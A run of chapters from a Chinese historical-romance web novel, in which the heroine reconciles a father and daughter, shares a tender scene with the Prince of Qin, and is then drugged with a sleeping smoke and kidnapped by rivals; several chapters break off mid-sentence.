衣上云方才一路赶来时,料定一定是隐在林中某处并未离开的龙恩与龙烨发现并劫持了兰香,而就以目前兰香对龙恩的恨,此时定是硬碰硬,两败俱伤,最后,一定是反被龙烨这个小人得了志。 于是,她一路上费尽唇舌,总算是说服了轩辕翰,让她亲自来了断眼前的这对父女,由一场孽缘所造成的剪不断理还乱的爱恨纠葛。同时,也是让自己对龙恩做个交待。 而如此熟识衣上云性格的轩辕翰,又怎么拒绝得了她。于是,不得已只能远远地在一旁悄悄守着。 & 第三百四十三章:今生欠着她 说完话顿了顿,衣上云缓缓从袖兜里掏出那块金光闪闪的龙字金牌来捏在手里愣了片刻,继而一脸严肃,有些凝重地说道: “龙大哥,龙烨说的没错,龙大哥既然已经回来,这块龙字金牌,若曦理应物归原主。若曦真的很抱歉,在你不在的日子里,没有替您打理好骁龙会。但是,无论如何,龙大哥救过若曦的命,若曦没齿难忘。可是,若曦实不想看到龙大哥的一世英名却不得善终。在骁龙会的日子里,若曦该说该劝的也都已经说了,希望龙大哥好自为之。” 说着说着,她的眼睛瞥向了一旁心灰意冷,一脸黯然的兰香身上,缓缓踱步近身过去温柔地伸出手去,一边帮她顺着鬓角被风吹起的洋洋洒洒的碎发,一边解释道:“在若曦离开前还有一件事想说,兰香她真的不是西秦秦王的什么细作,她就是很单纯地陪同若曦的丫鬟燕儿出来寻若曦回家的,可是燕儿她却被龙烨……” 衣上云说着说着,似是不忍心再继续说下去的样子敛了声,缓缓停下手里的动作,阖起了双眼。此刻,在龙恩的面前,她总愿把自己称作是若曦而非大家所有人口中所称作的衣府大小姐,衣上云。 默了会儿,衣上云收拾好心情,深深吸了口气,猛一转身步履坚定的朝着龙恩身旁走了过去,伸手一把捉起龙恩的一只大手来,郑重地将那块儿龙字金牌一塞入他的手中,便将他的五根手指扳倒握起,紧紧攥住了那块金牌于手心。 接着,她又深看了龙恩一眼,俩人四目相对了片刻,继而便急急扭头大步流星踱步回到了兰香的身旁,开始着急的解开捆绑于其身上的绳索来。 龙恩心里又怎会不知,兰香的确是无辜的。左不过,骁龙会是他所有的希望和大半生的心血,如今发生了这么大的事儿,他就是咽不下今天的这口气,才会一时顺了那龙烨的意思去泄愤。 听了衣上云的话,只见他顿时将自己那只紧紧攥着龙字金牌的手缓缓举起至眼前来,用力握的好紧好紧,眼睛一直愣愣地盯视着那只拳头,似是一眨都不眨…… 这时,龙烨也已经清理好了那甚为知时节的鸟儿对他独自一人的颇为丰厚的馈赠,一边仍旧满脸嫌弃地捉起自己的衣角靠近鼻翼来嗅了嗅是否还有什么刺鼻的味儿,一边走嘴里不知道还在絮絮叨叨地埋怨着些什么? 不经意间,他忽然抬头朝前方瞥了一眼,眼看着衣上云马上就要解开附在兰香四肢上的最后几圈捆绑的时候,龙烨飞快的抽出了腰间的佩剑朝俩个女子飞奔上去咬牙切齿地怒声道:“妖女,你们在做什么?看我今天不将你们两个一起碎尸万段……” 说着,便高高举起了手中的利剑,直朝着若曦的 后背上狠狠坎去。 而此时,一直隐身在一旁高树上密切关注着底下众人一举一动的轩辕翰,亦正欲发力飞身而出,龙恩却忽然回过了神来朝着龙烨的背影大喝了一声道:“住手……” “大哥,你这是怎么了?你难道没看到,这俩个贱人正想逃跑吗?”龙烨闻声,顿时僵住了手里的动作,回头向龙恩质问道。 岂料龙恩竟似是一副根本无视龙烨存在的模样,看都不看他一眼,自顾自上前了两步,走到龙烨的身前,同样被其这一声大喝惊愣呆住的兰香与衣上云的面前,将他负在身后的一只紧紧握着的拳头举至身前来,缓缓摊开了掌心,竟亮出了一只檀香木雕兰纹镯子来。 兰香眼疾手快地一瞟到内圈里的那排熟悉的凤尾纹缠绕,当即悄悄地赶紧摸了摸身上到处,却果然已是空空如也。 正在纳闷,龙恩一脸严肃又似带着许多焦急地问她二人道:“这只镯子,是你们谁的?” 片刻后,见没有人吭气。于是,他先将目光投向到衣上云的眼睛,因为这个镯子就是方才她亲手将其与那块龙字金牌一起夹带着悄悄塞到他手里的。 然此刻,衣上云看着龙恩手里的镯子,却没有说一句话,只是低眼看向了身旁兰香正被微风轻轻吹起飞扬的裙角上。 见此,龙恩皱了皱眉,又将目光移到了已经完全挣脱掉绳索束缚的兰香脸上,兰香更是一对上其视线,便忙将目光躲闪到了衣上云的肩头,亦没有说话。 俩个人就这样,面对龙恩的质问,你不言,我亦不语,都不吱声。 兰香心里始终都疑惑着,这个镯子方才好不容易失而复得,刚刚回到自己身边,被自己更加小心地存放在了身上,难道是刚才在这里被龙烨捆绑,挣扎的时候不小心掉在地上,恰好被龙恩给拾到了? 正在思量,忽闻龙恩再次隐忍着心头的愤怒,一字一顿沉声问了一次:“我问你们,这只镯子究竟是谁的?” 岂料却还是没有人说话。 这时,龙烨好奇地上前来想要将那只镯子捏到自己手里深究一番,却被龙恩“哗”的一下将掌心收起,又回归到身后去藏了起来,龙烨顿时满脸尴尬之色。 为了掩饰,他又提起手里的利剑,将剑尖指向俩个女子的鼻子,轮流质问道:“听到了没有?大哥问你们,那只镯子是你们俩谁的?怎么都不说话?是不是哑巴了?需要爷爷我给你俩好好治治是不是?” 第三百四十四章:让坏人活着,是为了赎罪 “娘,娘,娘…龙恩,你这个疯子,凭什么丢掉我娘的东西!……” 兰香双手紧紧攥住裙角,望着眼前一片瘴气弥漫下的浅水汪汪、水草丛生,上面还不停地“咕嘟咕嘟”泛起着一个个似是欲想吞噬掉落在其上面的所有一切生命,诡异又黑暗的泡泡的沼泽池举足无措地一边哭着,一边撕心裂肺地呐喊着。 可无论她再伤心,眼前始终就只有这一片摄人魂魄的沼泽地,根本就没有一点儿关于那只对她而言无比珍贵的檀香木雕兰纹手镯的踪影。 最后,她“扑通”一声绝望地瘫坐在了地上,黯然不解地喃喃自语道:“疯子,你就是个疯子,还我,你还我,还我娘,还我娘……”。 从小到大,无论发生什么事,她向来都是天不怕地不怕。可这一刻,她的心却似是被掏空了一般,内心世界彻底坍塌。 这时,衣上云疾跑着追了上来,悄悄地驻足在她的身后,抿起嘴角朝其似是微微在抖动双肩抽泣着的背影沉默了会儿,兀自缓缓踱步过去蹲身下来将她扶住,柔声关切道:“兰香,你怎么了?没事吧?这里很危险,你怎么坐在这里?” 兰香抬起头来梨花带雨地深看了衣上云一眼,继而转头又看向了眼前的沼泽地,蹙眉木讷地道:“衣姑娘,你说我到底该怎么办?那个人,他竟真的还活着,可为什么他还活着?为什么我娘那么善良的女人那么早便去世了,而他却还能好好的活着?这是为什么?为什么啊!” 无奈拉不起固执的兰香起身来,衣上云索性自己也陪其坐了下来在身旁,轻叹了口气,望着兰香所望向的相同方向道: “其实,我也说不好。可是,如果你真的非要把他当成一个十恶不赦的坏人的话。曾经,我听人说过一句话,说‘让坏人活着,是为了让他赎罪。’” 话说至此,俩人顿时四目相对着,兰香重复了句:“赎罪?” 衣上云点点头,将一手搭在兰香的肩上,道:“所以,兰香,试着去原谅他吧。俗话说‘可恨之人必有可怜之处’,想必这些年来他的心里也不好受呢?或许,事实并不是你所见所想的那样。或许,他同我们都一样,只是因为放不下心里的某些执念,才会迷失了自己,误入歧途。也许,这个世上只有你,才能劝醒他了。” 说到“执念”二字,衣上云不禁又联想到了自己身上。眼下自己又何尝不是深陷在执念的漩涡里不肯自拔,服下那粒还魂丹来恢复所有的记忆呢? 于是,她忽然收回手停了下来,俩人一起肩并肩坐着默了会儿,忽地回过神来看到兰香正陷入在深思里,似是已为自己的话有了些许动容,便趁热打铁道:“唤醒一个人,让他不遗余力去造 福苍生,与杀了他以泄一己之愤相比,孰轻孰重,究竟哪个更有意义?” “衣姑娘,其实,我明白你的用心良苦,可是…可是...…”兰香心里始终都对龙恩有种隐隐的说不出的顾忌。 就在俩人尚无定论仍在犹豫之时,龙恩不知不觉已来到了俩人的身后,忽然亲昵地柔声唤了一声兰香的乳名,问道:“你是小香香,淑兰的女儿?” “什么小香香?谁是淑兰?我不认识?”兰香一听到身后那人的声音响起,急急抹了两把眼泪,佯装着一脸无知地将头扭向另一边,不去看龙恩的脸,漫不经心地道。 衣上云见此,轻轻扯了扯她的胳膊,她却依旧毫不收敛不羁脾性。 “你若不认识淑兰,为何会如此在意这只我亲手为淑兰所雕刻的檀香木雕兰纹镯子呢?”龙恩说着,从身后伸出一手来摊开在兰香的眼旁。 顿时,那只方才明明当着众人的面被龙恩亲手丢到这片诡异神秘的沼泽池里的檀香木雕兰纹镯子奇迹般地再现了出来。 兰香的余光一瞥见,猛地站起身来回头激动地一把夺过其手中的那只再次失而复得的镯子,将其视若珍宝般地以双手捧着,惊诧极了:“这只镯子怎么会在你这儿...你...你方才不是……” “这是我与淑兰的定情信物,我就是丢了自己的命,又怎会将它丢掉!”龙恩立在兰香的身旁,看着她脸上顿时被化开了的沉沉愁容,盯着她的眉眼淡淡地笑着道。 见此,衣上云终于长长地舒了口气。正欲转身踱步离去,岂料轩辕翰竟不知何时已站在了自己身后不远处的一条林荫小道上,目不转睛地打量着自己。 眼看着他正欲抬脚朝着自己身边走过来,衣上云忙加紧了脚步,先朝其身边大步奔了过去,正欲开口说话,却被面前双手负后,身姿伟岸挺拔的轩辕翰柔声抢先问了句:“都处理好了?” 衣上云看着他炯炯有神发亮的眼睛,轻抿起嘴唇来朝其点了点头,又怕其再生出什么念头来,竟忽地主动附手到其胳膊上,推推搡搡地连拖带拽将轩辕翰带离了原地。一边走,一边朝其解释道:“秦王殿下,我们去另一边吧,不管什么事情,此刻都不要去打扰他们,让她们父女俩好好谈谈。这会儿,他们一定有很多话要讲!” …… 落日余晖,晚霞醉人,微风起皱,世界似是瞬间全都变得安静了下来,令人感觉温暖又惬意。 衣上云一路上紧紧拽着轩辕翰的胳膊,直到了小溪边,方才似是意识到了自己的举止有些不妥,忽地一下松开了附在其身上的纤纤玉手,满脸含羞地扭头到一边随手拽了身旁溪边的几根狗尾巴草,疾步上前沿着水流方向继续 第三百四十五章:本王契约你生生世世 衣上云有些纳闷地朝轩辕翰身边一步步走去,想要证实方才的一切,是不是自己真的幻听了?不想一个没留神,脚下被一株藤草拌了一下,正好撞上了轩辕翰突然回转过来结实的胸膛,被他当即两手稳稳地扶住。 一时间,两人扶在一起顿时凝眸对视了起来,衣上云仰头朝轩辕翰看去,而轩辕翰也正好低头朝她看来,轩辕翰的目光原本一向睥睨天下,冰冷骇人,可偏偏只有在撞见衣上云的那双眼睛时,却总是能不由自主地温软下来。 而此时,虽沉默着,但在轩辕翰的眼里,其满腔的情愫早已在剧烈发酵,迅速膨胀,似是随时都可能会汹涌而出,将对方淹没一般! 衣上云似是被其眼里的**突然吓到,于是很快便反应过来,突觉自己脸上一片滚烫,心跳加速,正欲退后俩步,轩辕翰竟趁其不备一把大力地将其拽入到自己的怀中,紧紧搂住。 然并不止如此作罢,他没有给她任何一丝挣脱的可能和时间,一气呵成挑起了轻纱一角的遮挡埋头而下,狠狠吻住了她娇嫩欲滴的一片温软红唇,轻纱随着一双大手在其脸颊一侧轻轻划过,缓缓飘落在两人身旁的青草地上。 轩辕翰一侵入衣上云的唇齿,便疯了一般地开始狂吻起来,衣上云发出一阵闷哼“嗯......”,似是想要说些什么? 轩辕翰柔声在其耳边将其打断道:“不要说话!” 于是,衣上云果真听话地闭起了眼来,脑海中鬼使神差地却忽然闪现起关于俩人曾经所有的一幕幕支离破碎的片段来…… 原来,眼前这个男人一直都是那样的爱她,疼惜她,默默守护着她。甚至愿意陪她一道坠落悬崖,为她付出自己的生命…… 如此有情有义,尊贵不凡,睥睨天下,心怀天下苍生,黎明百姓疾苦的世间不可多得的男子,她有什么理由拒绝他? 这时,燕儿弥留之际的话,不知不觉又浮上了心头:“小姐不要总是那样懦弱自卑,秦王殿下待小姐是真的极好,小姐要勇敢一些,莫要错过了。” 难道真如燕儿所说,仅仅是因为自己脸上的胎记所导致的内心的一种自卑,所以她才不敢靠近那个尊贵天成,恍若天人般的身躯吗? 显然,她对自己本是来自21世纪的未来人的身份已经完全没有了映象。所以,当然不知道自己其实是因为心里有另一个人占据着,方才容不下其他任何人。 如今,她满脑子里都是眼前这个男子对自己的种种呵护与种种好。 于是,她终于卸下了所有防备,毫无顾忌地听从了自己的内心,从他温暖的怀抱里将双手缓缓升起圈在了他的腰上,渐渐开始回应起他来。 而轩辕翰一意识和感受到她的 回应后,惊诧的微微睁开眼来,一瞄到她此刻迷离的双眸以及脸颊上浮起的丝丝红晕,似是非常喜欢她的这些反应,不禁弯下腰去将她一把横抱了起来,上前两步,温柔地将她放在了身边厚厚的青草地上。 等不及衣上云喘息,轩辕翰忙欺身下去,紧接着更加强势霸道地对其发起更猛烈的攻势,索取起他之前无数个日日夜夜对这个女人所有的幻想和渴望来。 这次,他埋头下去,却并没有在她的唇上停留多久,而是一路流连而下,沿着她的玉颈,时而啄吻,时而吸吮,时而轻咬,时而耳鬓厮磨,不知不觉,衣领亦已经渐渐被他撩开,在他湿热的激吻中,身下的衣上云似是浑身都在发疼一般。 就在轩辕瀚的手亦已悄悄附上了其美好,正欲更进一步继续往下时,忽嘎然而止停了下来。 “怎么了?”衣上云觉察后,遂有些害羞但又不解地睁开眼睛轻声地问。 轩辕翰紧紧抵在衣上云的身上,在她的额头上落下一个深深的吻,盯視着她的眉眼:“本王要等,等你真正做本王王妃的那一日,本王要彻底占有你所有美好的一切,一个地方都不放过,把你吃的连骨头都不剩。” 是啊!他该如何跟她解释?每当他们亲密接触之后,她便总会莫名其妙的晕倒,以前她每次晕倒,都有易三少出面帮忙,可这次不同,他是很想要她,可更怕她陷入危险。 轩辕翰一边轻抚着她的刘海,一脸宠溺地凝视着她的眼睛,衣上云已然难为情地满脸含羞往他的身下蹭了蹭藏起自己的脸来。 待其平息好心绪,缓缓坐起身来,轩辕翰伸手将她揽入到自己怀中抱着,俩人席地而坐依偎在了一起。 衣上云软软地瘫倒在轩辕翰温暖宽阔的怀抱里,轻轻阖上眼眸似是仍在歇息,仿佛贴在这样温暖的胸膛,这一刻,她觉得格外的安全与舒心。 而轩辕翰则一遍又一遍,不耐其烦的轻抚着她原本姣好的面容上的那颗红色胎记,眼睛呆呆地痴望着远方的一轮火红的落日道: “云儿,谢谢你还记得本王。本王知道,方才你回应本王,一定是想起了从前的点点滴滴。今生今世,不,生生世世,答应永远都不要再离开本王身边半步,可好?你放心,本王一定会让你成为这个世上最幸福的女人。同你一起执手看这大好河山,岁月静好,流年似水,待所有一切繁华落尽,我们相依相伴,终老一生。” 闻此,衣上云轻阖着的眼眸忽地睁 第三百四十六章:她一定都喜欢 夜幕中繁星点点,个个卖力的一眨一眨着,像一个个正在试比高低的孩子一般互相争辉着,而今夜的这场前所未有的比试,则是特意为地上的那对幸福的人儿所闪耀的一般,比往日里的任何时候都越发更亮。 微风吹拂下的树叶沙沙作响,亦像是在为今夜夜空里的这场群星争辉的比试加油助威,对那对幸福的人儿疯狂地欢呼。 明月透过了一束夜里最亮的光,在林间清香扑鼻的草地上为那对幸福的人儿搭建起一个最闪耀的舞台。他们是舞台上今夜最闪亮的主角,正在演绎一场最浪漫的爱情。 不知过了多久,林间草地上俩个亲密无间的人都已经沉默了下来,只尽情享受着此时这份得来不易的相依相偎与静谧。 相爱的人在一起,无论做什么,亦或在哪里,果然都是最幸福的。 许久后,衣上云似是忽然想起了什么,窝在轩辕翰的心口处忽然睁开了眼睛打破了这份宁静,问:“对了,殿下的母妃...是否一切安好呢?” 微风起皱,轩辕翰拥她在怀,正忙着帮她把披风紧了紧,闻此手里的动作忽然顿了一下。继而用一只大手握着她的纤纤玉手于自己掌心紧紧攥着,另一手一腾出来竟冷不防地伸过去在她光洁的额头上轻轻弹了一下,宠溺地打趣道:“怎么?还没过门,难不成这么快就担心起婆媳关系了不成?” “殿下在说什么呢,云儿哪里有啊?我只不过是...随便问问而已!”衣上云顿时羞红了脸,忙伸手抚向额头被敲处以掩饰自己此时的难为情。 轩辕翰遂抬起眼来眼神悠长地想了想,脸色亦渐渐沉了下来,说道…… 听了轩辕翰所说的一切与其心中的猜忌,衣上云忽地坐起身来注视着轩辕翰深邃的眼眸,心中甚感惊愕地道: “殿下是怀疑,皇上与太后之间一定是有什么不可告人的秘密所致命的嫌隙?否则,太后不会对皇上阳奉阴违,对秦王府下手,利用西秦学院大小姐之手来杀害太妃娘娘?而皇上也一定是因为想要达到某种不为人知的目的想要利用殿下,所以才会留下殿下,善待殿下至今?那若是有朝一日,他的目的达到了,殿下便再也没有了利用的价值,那到时候岂不是……” 衣上云正在为他深感忧心,轩辕翰却只云淡风轻地道:“你倒是不必替本王的事忧虑,只是...平白无故地,你究竟为何要问这些?” 然衣上云却并未急着回答他的疑惑,因为依照轩辕翰方才所说的一切,怕是事情并没有她想的那么简单。 于是,沉默了会儿,她兀自又问:“想必殿下应该也知道血族之后,西秦守护者的事吧?” 轩辕翰认真地深看了她一眼,不知为何她会 突然无厘头地提起这个来。然关于西秦守护者这件事如今早已闹得整个灵空大陆几乎无人不知,无人不晓。想着她会知道这件事,也不足为奇。 稍时,只见他微微颔首,回忆着道:“那本是守护我西秦轩辕皇族每一代真命天子的贵族,只可惜……” 听着耳旁轩辕翰对关于守护者的细述,衣上云却在心里暗自思量着,西秦守护者守护的乃是西秦国每一朝的天子,可这璟帝据传可并非一位明君,与眼前同样作为轩辕皇族血脉的秦王轩辕翰简直就是天壤之别,她亦要守护他吗?那她岂不是助纣为虐? 这到底是有人故意在捕风捉影,四处散播谣言,还是那璟帝真的有什么问题?到底皇上与太后之间的嫌隙是因何而生的?皇上又在利用殿下做什么? 想着想着,她的心里忽然生出了一个主意,遂愣愣地自言自语道:“‘不入虎穴,焉得虎子’,或许,只有这样才可以帮殿下查清楚这一切事情真相?” “‘不入虎穴,焉得虎子’,你在说什么?”衣上云说这句话的时候声音极轻,轩辕翰听得很是模糊,于是再一次想要问清楚些。 而此刻,衣上云似是已经理清楚了一切状况,终于回过了神来,深情款款又心疼地抚了抚那张冰冷孤寂的脸,与其四目相对着说道:“殿下,你要记住,从此以后,你将再也不是孤孤单单的一人,所以无论未来遇到了什么亦或发生了什么?也不管云儿是不是会一直陪伴在殿下身边,为了天下苍生,黎民百姓,殿下都要好好活下去,一定要好好活着,知道吗?” 轩辕翰听了这番从未有过如此温暖的话,不禁将她一把紧紧地拥入到怀里,下巴抵在她的额头上,舒心又亲昵地道:“‘死生契阔,与子成说。执子之手,与子偕老。’本王当然知道本王以后的生命里多了一个你,为了你,本王一定会好好的。未来,本王还要你为本王开枝散叶,延绵子嗣……” 听着曾经是世间那样冰冷尊贵的一个人,在自己的耳畔亲口说着如此情意绵绵的话,衣上云默默地在心里对自己说“殿下,云儿真的好想与殿下永远像现在这样,相依相偎在一起永远不分开……” 然事实却是,为了自己所挚爱的人永远都不会迎来大祸临头的那一日。就在方才,她暗暗做了一个很重要的决定。 其实,她方才问太妃的事,本是想给轩辕翰一个惊喜,告诉他,他的母妃尚还在 第三百四十七章:夜雾起,有情人聚了又散 轩辕翰回头望了一眼衣上云所指向的正在逃去的那人的背影,惊诧地喃喃道:“看这背影…莫非是…拓跋泽?” 自从城南万娇阁被封后,全城通缉拓跋泽的事至今都没有任何进展,轩辕翰还当真以为被那二人逃回国去重振旗鼓了。 没想到,他竟也会出现在这里?看来,这个人还真是神通广大,竟能从他所布置下的天罗地网里挣脱。 可是,他又怎么会独自一人在这里呢?无论如何,这个人阴险狡诈,一定有什么阴谋。这次,可一定不能再让他给逃脱了。 一念至此,轩辕翰决定亲自出马前去捉拿。于是忙掏出一把装具精细雕刻,纹饰雅致,尊贵大气,看似极其名贵的短剑来,捉起衣上云的手将其小心翼翼地放到她手中,对其语重心长地叮嘱道: “这把龙凤短剑是父皇在世的时候留给本王的,听说它很有灵性。本王一直贴身带着从未离过身,也不舍得用。现在,本王将她送给你防身。有他们在暗处保护你,你不会有事的。乖乖在这里等本王回来,哪儿都不要去。记住,一定要等本王回来。” 轩辕翰话一说完便抽手转身欲要离去,衣上云愣愣地怔望着手中接过来的短剑,不知为什么?忽然被轩辕翰这样一本正经地一说,她的心里反倒突然感觉很不踏实的样子。 待其忽然一回过神来,猛地飞奔上前两步去依依不舍的从其身后一把紧紧地环搂住了轩辕翰的腰,柔声道:“殿下!” 这样的一双纤纤玉手如此紧张又柔软地附了上来,就连她美好软软的整个身子此时亦都似是正紧紧贴着他的身体,轩辕翰的心瞬间被融化。 只见“哗”的一下,他急转过身来一把将其揽入到自己怀中紧紧抱住,一吻封唇深深地吻了下去,而衣上云亦在其怀里快速地回应他,勾住他的脖颈,俩人相拥相吻,缠绵悱恻,衣上云甚至还不自觉地仰起了头来,俩人热烈地纠缠在了一起。 很快,衣上云便似是整个人都已经无力的招架不住,快要被吻的喘不过气来,一脸潮红,眼神迷离。 最后,轩辕翰贴在她的耳边,亲昵地柔声道:“等本王回来便带你回府,做本王真正的女人,本王已经等不及了。” 痴痴地望着轩辕翰带着十几名隐卫匆匆离去后许久,衣上云一直无意识地握着身旁的灌木,竟未发现自己的手越握越紧,待忽然回过神来才看到,那只手已经被带刺的灌木刺了一手的血,遂赶忙将手收回。 在小溪边清理包扎好伤口后,衣上云兀自又踱步回到了方才的那堆篝火旁,对着那温暖的火苗沉默回忆了片刻之后,想起今日所发生的这些激动人心又不可思议的一幕幕来,心里至今都似仍还在砰砰 乱跳着,眼里满含着春波羞红了脸。 然一想到以后,心里最后却是悲喜交加。 索性,她又拿出了轩辕翰离开前留下的那把短剑来拔开剑鞘,坐下仔细地打量了起来。 只见短剑的剑身上是浮雕龙凤造型,纹路细腻,寒光凛冽。周身纹路如行云流水一般,由内而外散发出一种迷人的气质,的确不失为世间极为难得的一把好剑…… 正饶有兴致地仔细打量着,林间忽然有一股茫茫浓雾散了开来,缓缓向着她所在的位置飘了过去。 衣上云天生就有比常人更为灵敏的嗅觉与味觉。当她忽然闻见空气中弥漫有异味传来时,忙抬起头来四处查看,似是一下子便发现了眼前这阵忽然而生的夜雾好像有些不同寻常。 于是,她起身来小心翼翼地靠近了一点点过去:“这夜雾,闻起来好像有种隐隐的味道……” “不好,来人,来……”岂料她刚闭上眼睛,想要屏气凝神思索这到底是什么味道,而刚从记忆里搜索到那极有可能是一种常人极难发觉的几乎无嗅无味的罕见迷烟时,便已重重地跌倒在了地上,不省人事。 看到衣上云倒地后,所有隐在暗处的侍卫全都惊慌地现身了出来。顿时防守的防守,查看的上去查看。 而就在这时,龙烨竟忽然带领着近百名红衣壮汉从外围的四面八方将一众十几名隐卫与衣上云团团围了起来。 所有隐卫一见情势骤然变得严峻起来,当即立刻举剑作势准备带着衣上云杀出重围。 “一、二、三!”岂料龙烨刚数完三声,所有隐卫们却全都纷纷弃剑倒地,昏了过去。 骁龙会方圆百里都是龙烨的老巢,怎么可能有人比他更熟悉自己的地盘。他就是闭着眼睛,也能安然无恙地走遍属于自己的整片天地,更何况只是用些雕虫小技,简直犹如囊中取物一般唾手可得。 如此看来,即便是面对西秦的千军万马,又有何惧呢?没有龙恩,他照样可以带着他仅剩的弟兄们重振旗鼓,去夺西秦的地盘,乃至整片灵空大陆,亦是不在话下! 龙烨,就是这样狂妄自大,好大喜功的一个人,总是能因为一点点儿小幸运,便认为自己无所不能。 引出并拿下了轩辕翰布置在这周围的众隐卫后, 第三百四十八章:沧海一声啸 “殿下,周围到处都已经搜遍了,未见衣姑娘任何踪影。” 处理安排好了骁龙会的内乱,程良带人一从林间寻到失魂落魄地瘫坐在一堆早已没了丝毫余温的篝火旁,手里只独独紧紧攥着那只宝蓝色药香囊的主子,便从其口中得知了衣上云又一次被劫的消息。 此时,程良看着失落无助极了的主子,又何止是“心疼”两字! 心心念念终于久别重逢,可尚还不足一日,她的味道和温存至今都还清晰地尚停留在他的脑海里未曾消减去半分,便又再次遭遇残忍的分离,世间又有谁受的住这般痛苦之煎熬。 浓浓夜色,远山含黛,清幽寂静。 眼看着夜幕即将撤去,天空马上就要放亮了,只见轩辕翰终于缓缓站起了身来,似是再次鼓起了勇气眼神犀利地环视了周围一眼,兀自撩起袍角步履坚定地开始迈起步来,程良即刻带人跟上。 轩辕翰亲自带领众手下一次次扩大搜索范围,发疯般似的势必一定要将衣上云搜出不可。然直到天已经到了日上三竿的时辰,却依旧没有寻到关于衣上云的任何踪影,就仿佛她真的像是从人间蒸发了一般。 正当一行人疲惫不堪地寻至一深谷之时,在一涓涓细流的瀑布下方忽然看到龙恩与兰香父女俩人正坐在岩石上歇脚。 轩辕翰顿时眼前一亮,忙打起精神来大步上前去,一把狠狠地提起了龙恩的衣领,似是疯了一般地咬牙切齿对他狠狠质问道:“快点儿告诉本王,龙烨人在哪儿?” “发生了什么事?你找龙烨做什么?”龙恩看着一向以沉稳内敛著称,而此刻却似是完全已失去了理智的轩辕翰似是魔怔了一般的模样,不解的道。 轩辕翰努力隐忍着心头的悲愤,紧紧盯视着龙恩的眼睛,问道:“本王问你,龙烨是不是私底下交往了北烈国大皇子拓跋泽?” “北烈国大皇子?身份如此尊贵的人,他应该…不会吧?”龙恩的言语之间,自是心虚的。不过,被轩辕翰这一提醒,他倒是方才想起了与梅志煊的交易来。也不知道那俩个人现在怎么样了…… 正在思索,轩辕翰似是看出了龙恩的眼中必有隐情,忽然猛地一把大力将其往后推了一大截,最后推到了一边的岩石上用手狠狠地抵住他的脖子,眼里似是有千万支寒箭射出来了一般,对其大声呵斥道:“还不快说实话,骁龙会是不是和北烈国之间有什么见不得光的交易?你可知,他方才不但用迷烟迷倒了本王的侍卫,还对本王用了调虎离山之计,劫走了云儿!” “你说什么?”闻此,被牢牢禁锢地脸红脖子粗的龙恩顿时瞪大了眼睛,盯看着轩辕翰大惊失色道。 这时,身后一旁的兰香听到后亦疾步 扑了上来,看着轩辕翰的脸着急不解地问:“秦王殿下,衣姑娘不是一直都同殿下在一起吗?怎么会……” 轩辕翰后悔极了,后悔自己怎会那样不小心。早知如此,当初他应该寸步不离,走到哪便将她带到哪儿才对。一念至此,他手下再次一发狠抵住了龙恩的脖颈,朝他又大吼了一声:“本王问你,龙烨他人到底在哪儿?” “糟了……”原来,龙恩一直沉浸在与兰香父女重逢的喜悦之中,竟忘了龙烨一直还被绑在那里,已经有足足一夜了。 或许,那北烈国皇子正好趁此机会救下了他,并与他勾结在一起,做了轩辕翰所说的这些事。若是真的这样,那衣上云…… 一念至此,龙恩来不及多做解释,拔腿便往将龙烨绑起来的地方飞奔回去。 兰香与轩辕翰互相四目对视了一瞬,继而亦赶忙紧追了上去…… 南安国西北边境一石山脚下,海水波涛激荡,海中山岛罗列,高耸挺立。咆哮的飓风滚滚而来,海上顿时掀起巨浪,一波接一波翻卷呼啸着,似是欲要将整个宇宙都吞没一般。 此刻,拓跋泽登上了石山,单手附后着立在山头观赏着脚下一片汪洋大海的奇妙美景,对着这波澜壮阔的海面抒发着其壮志情怀: 东临碣石,以观沧海。 水何澹澹,山岛竦峙。 树木丛生,百草丰茂。 秋风萧瑟,洪波涌起。 日月之行,若出其中。 星汉灿烂,若出其里。 幸甚至哉,歌以咏志。 忽然,身后的侍卫眼睛一撇,看到龙烨与其手下正连拖带拽着一名妙龄女子朝其奔来,便急急转身过去禀告道:“殿下,人来了!” 拓跋泽听了顿时将嘴角一抽,露出一抹阴险狡黠的笑来。 “兄弟,人我给你带来了,我要的东西呢?”龙烨一近身过去,一手紧紧拽着衣上云的胳膊,对着拓跋泽的背影直接了当地说道。 拓跋泽头也不回地轻启薄唇,幽幽霸气道:“钱,本公子自是不会少了你的。可是这人...你没有动过她吧?” 果然有钱的便是大爷,听了拓跋泽的疑虑,龙烨忙笑着道:“看兄弟这话说的,这俗话说‘兄弟如手足,女人同衣裳’,兄弟你既然已经开了口,我又怎会动她一根指头?再说了,昨夜若不是兄弟在林中替我解绑,怕是夜里的豺狼不把我吃了,龙恩也一定不会放过我的。不过 第三百四十九章:这个海水不一般 “答应你的东西?”拓跋泽唤来侍卫将衣上云的身子向其靠了过去,继而转身一边朝龙烨身边踱步过去,一边笑着道: “啊,对对对,本公子想起来了。昨晚你说被仇人设计陷害,五花大绑在树林里险些遭到野兽围攻,幸亏本公子正好寻人路过救了你。你又说你有办法帮本公子找到我要找的那名女子,本公子便答应你,你若是能将那名女子完好无缺地带来见本公子的话,本公子便另外再赏你黄金千两以作酬劳,是这么回事儿吧?” “当初我一见这位兄弟相貌堂堂,气度不凡,便知你必是一表人才。果然好记性,我说的正是这档子事儿!”龙烨一脸谄笑着朝其奉承赞叹道。 无疑,已然知道了龙恩与兰香真正关系的龙烨,自知龙恩必是一定不会再放过他了。所以,他必须为自己和手下们早做打算,决不能坐以待毙。于是,当这个金主意外出现的时候,便成了他的救命稻草一般。 拓跋泽过去伸出一只胳膊来,将其搭在龙烨的肩上,与其勾肩搭背着一道一边朝呼啸的海边走,一边故作神秘地低头单手附后着指向石山脚下问他:“你看看,从这里,你能看到些什么?” 龙烨自始至终都不知,他遇到的这个金主可并不是什么好鸟,其心狠手辣的程度与手段可比自以为是的他强出了千百倍。竟然还果真傻傻地往前试着探了两步,遂蹲身下去认真的朝着脚下的深海里寻了去,却是纳闷不解地一边寻觅,一边道:“这不就是海水吗?” 拓跋泽在其身后双手负后着,怒视着他贪得无厌的背影不以为然,坚持着故作神秘道:“不,这个可不是一般普通的海水,你再仔细看看,一定要把它牢牢记住了!” “可我怎么看来看去,这都是普通的海水呢?兄弟,你到底是什么意思?这海水里面究竟有什么宝贝?你不妨直接告诉我啊!若是真有什么好东西,到时候捞上来我们一起分,你六我四,你七我三…都无所谓啊,可好?” 龙烨到最后的时候,几乎都是着急的跪趴在石山边,朝下瞪大了眼珠探视了许久许久,然终是没看出任何一点儿端倪来,索性直截了当有些不耐烦的提议道。 